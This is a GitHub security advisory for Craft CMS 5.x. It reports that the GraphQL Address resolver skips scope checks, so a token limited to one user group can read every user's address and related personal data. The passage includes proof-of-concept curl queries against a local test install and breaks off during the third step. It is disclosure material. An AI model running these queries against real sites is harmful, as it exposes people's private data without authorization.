GitHub Security Advisory: GHSA-gj2p-p9m4-c8gw
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 5.0.0, < 5.9.18
Patched in: 5.9.18

Summary: Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

Details:
### Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

### Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via `GqlHelper::extractAllowedEntitiesFromSchema()` when handling top-level queries, except the Address resolver.

The only gate check for addresses is `canQueryUsers()` (`src/gql/queries/Address.php`, line 30), which is a binary check. It returns `true` if the token has access to *any* user group. Once past this gate, no further filtering is applied.

### PoC

**Tested on:** CraftCMS 5.9.17 (fresh Docker install, PHP 8.3)
**Prerequisites:** A GraphQL API token with read access to any single user group

### Environment

- Two user groups: `publicUsers` (in token scope) and `internalTeam` (NOT in scope)
- 5 internal executives with corporate addresses (internalTeam)
- 3 public customers with personal addresses (publicUsers)
- GQL token scoped to `publicUsers:read` only

**Step 1:** Introspect the schema to discover the `addresses` query is available to this token. Issue the below curl command 

```bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq
```

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see `addresses`, `entries`, `users` as top-level queries.

**Step 2:** Enumerate Address fields to identify PII exposure surface.

```bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq
```

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

> Exposed fields include: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organization`, `organizationTaxId`, `latitude`, `longitude`.
> 

**Step 3:** Establish baseline -  confirm the token’s user scope is limited. This proves our token only has access to the `publicUsers` group.

```bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq
```

<img width="1626" hei